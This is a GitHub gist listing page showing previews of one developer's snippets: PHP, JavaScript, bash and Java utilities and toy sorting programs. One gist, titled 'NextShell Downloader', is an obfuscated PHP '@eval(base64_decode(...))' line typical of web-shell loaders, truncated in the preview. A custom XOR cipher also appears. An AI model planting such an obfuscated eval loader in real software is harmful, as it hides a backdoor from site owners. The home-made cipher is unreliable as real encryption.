Skip to content

Instantly share code, notes, and snippets.

View 19h's full-sized avatar
✔️
This account is verified.

Kenan Sulayman 19h

✔️
This account is verified.
View GitHub Profile
@19h
19h / B3NCH.2.4.php
Created November 28, 2010 21:36
B3NCH 2.3 by Kenan Sulayman.
/* B3NCH.php */
<?php
define( "b3nch_", true );
class b3nch {
//json_encode($a,JSON_HEX_TAG|JSON_HEX_APOS|JSON_HEX_QUOT|JSON_HEX_AMP)
private $cache, $b3nch = array();
private $memc = 0;
public function __b3nch_init () {
@19h
19h / Kenan Sulayman.php
Created June 30, 2011 15:29
NextShell Downloader
$gcd45e2ee736="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($gcd45e2ee736(
"JGc3MjIxNDczYzBlYzQ5ZTc3NTI4MGY5ZmYyYmU3NTRiPSJceDYyIjskeWQ0NDliYzM3YzVjZmUyMmUwMDk3OTQ
4ODQyZmY0OGQ9Ilx4NjUiOyRmMTM2OGE5YmIyNWQ4NTY3YzA3NTVhODQxN2JlNzA3MT0iXHg2NiI7JGZjOTJhOTE
4Mjc1OGEwYmZhYmRjNGViNzQ0MTlkNGUxPSJceDY3IjskZ2Y1NWNiM2YwYjk1MWM0MTk4Zjg4ZGFhYmFmMDZjZjk
9Ilx4NmQiOyR1MTM5NTgyYjJkNGFmNzcxMzg3MmZmNGY5M2Y1MDRiND0iXHg2ZiI7JHo0NTAxMzE5NDliODU3MjA
1MTRlZTkzNzliOGQzYzViPSJceDZmIjskdzc4ZmEwNjVjYTE2NjNmMDlkNWM2NjMxYThjODQwMTE9Ilx4NmYiOyR
6ZGQxMzRkOWY3ZTU3ZTI1NTgwZGE3NzBjNjk0OTNmOD0iXHg2ZiI7JGs1MWUxNjIwMTY5NmQ1MDExMGEwMWIyMDY
3Y2EyMjk5PSJceDczIjskcDI0NWE2NjUwYzViNjRhZTVhOGY3NGJhNjIwNTNmM2Y9Ilx4NzMiOyRlMGE4NTdhY2U
yMmQ4M2JhNjZkZWIwMDk1YTNhNzM5ZD0iXHg3MyI7JGhiZWNjZjk1MTllYWU2ZGE3ZTcxM2QzZDgwYzM2MzlmPSJ
ceDczIjskZzcyMjE0NzNjMGVjNDllNzc1MjgwZjlmZjJiZTc1NGIuPSJcMTQxIjskeWQ0NDliYzM3YzVjZmUyMmU
@19h
19h / f!b.js
Created July 20, 2011 02:11
Hightspeed Fibonacci-Function, returns JSON. The iterations are given as parameter.
(function(a){var c;c||(c={});(function(){function b(c,d){var g,i,j,l,n=e,o,q=d[c];q&&typeof q==="object"&&typeof q.toJSON==="function"&&(q=q.toJSON(c));typeof h==="function"&&(q=h.call(d,c,q));switch(typeof q){case"string":return a(q);case"number":return isFinite(q)?String(q):"null";case"boolean":case"null":return String(q);case"object":if(!q)return"null";e+=f;o=[];if(Object.prototype.toString.apply(q)==="[object Array]"){l=q.length;for(g=0;g<l;g+=1)o[g]=b(g,q)||"null";j=o.length===0?"[]":e?"[\n"+e+o.join(",\n"+e)+"\n"+n+"]":"["+o.join(",")+"]";e=n;return j}if(h&&typeof h==="object"){l=h.length;for(g=0;g<l;g+=1)typeof h[g]==="string"&&(i=h[g],(j=b(i,q))&&o.push(a(i)+(e?": ":":")+j))}else for(i in q)Object.prototype.hasOwnProperty.call(q,i)&&(j=b(i,q))&&o.push(a(i)+(e?": ":":")+j);j=o.length===0?"{}":e?"{\n"+e+o.join(",\n"+e)+"\n"+n+"}":"{"+o.join(",")+"}";e=n;return j}}function a(a){d.lastIndex=0;return d.test(a)?'"'+a.replace(d,function(a){var b=g[a];return typeof b==="string"?b:"\\u"+("0000"+a.charCodeAt(0)
@19h
19h / evtlst.js
Created August 8, 2011 17:34
Cross-Compatible Event Listening / Firing
/* Copyright (c) Kenan Sulayman, et al. Do what ever you want, as long as you're crediting the AUTOR. */
Function.prototype.bind = function (object) {
var method = this;
return function () {
return method.apply(object, arguments);
};
};
function EX() {
@19h
19h / quinstallosx.sh
Created December 4, 2011 23:51
Quick-Upgrade LSOF 4.85 for OSX 10.5+ including Lion.
#!/bin/bash
wget ftp://lsof.itap.purdue.edu/pub/tools/unix/lsof/lsof_4.85.tar.gz
tar xfv lsof_4.85.tar.gz
cd lsof_4.85
tar xfv lsof_4.85_src.tar ; cd ..
cd lsof_4.85; cd lsof_4.85_src; ./configure darwin; make; sudo make all
sudo rm /usr//sbin/lsof; sudo cp ./lsof /usr//sbin/lsof
cd ..; cd ..; rm -rf lsof_4.85*
clear; echo "Installed lsof 4.85 for OSX 5+."
@19h
19h / pack
Created December 7, 2011 00:51
Javascript Packer b64 / Hexcoding / Repack
#!/usr/bin/php
<?php
class JavaScriptPacker {
const IGNORE = '$1';
private $_script = '';
private $_encoding = 62;
private $_fastDecode = true;
private $_specialChars = false;
private $LITERAL_ENCODING = array('None' => 0, 'Numeric' => 10, 'Normal' => 62, 'ASCII' => 95);
public function __construct($_script, $_encoding = 95, $_fastDecode = true, $_specialChars = false) {
@19h
19h / encx.js
Created December 19, 2011 23:11
Short JS Encryption (Custom)
var e = (function (i, d) {
if (null == d || 0 >= d.length) return null;
for (var a = "", b = 0; b < d.length; b++) a += d.charCodeAt(b).toString();
var b = Math.floor(a.length / 5),
g = parseInt(a.charAt(b) + a.charAt(2 * b) + a.charAt(3 * b) + a.charAt(4 * b) + a.charAt(5 * b), 10),
j = Math.ceil(d.length / 2),
h = Math.pow(2, 31) - 1;
if (2 > g) return null;
for (var c = Math.round(1E9 * Math.random()) % 1E8, a = a + c; 10 < a.length;) a = (parseInt(a.substring(0, 10), 10) + parseInt(a.substring(10, a.length), 10)).toString();
for (var a = (g * a + j) % h, e = "", f = "", b = 0; b < i.length; b++) e = parseInt(i.charCodeAt(b) ^ Math.floor(255 * (a / h)), 10), f = 16 > e ? f + ("0" + e.toString(16)) : f + e.toString(16), a = (g * a + j) % h;
@19h
19h / dafuq.java
Created January 2, 2012 23:40
Dafuq.java // Test
import java.util.Arrays;
class dafuq {
public static void crap (String v) {
System.out.println(v);
}
public static void main(String[] args) {
for ( int i = 0; i <= 200; ++i ) System.out.println("Dafuq.");
dafuq shit = new dafuq();
crap("Fuck");
@19h
19h / QS.java
Created January 2, 2012 23:42
Dafuq (test) + Quicksort
public class QS {
static int[] z;
static int n;
public static int[] s(int[] v) {
if (v ==null || v.length==0){
return null;
}
z = v;
@19h
19h / bublé.java
Created January 12, 2012 13:03
BubbleShit
import java.util.Random;
//import java.util.Integer;
public class Sortierverfahren {
/**
* @param args
*/
public static int[] genIntArray(int length) {
int[] a = new int[length];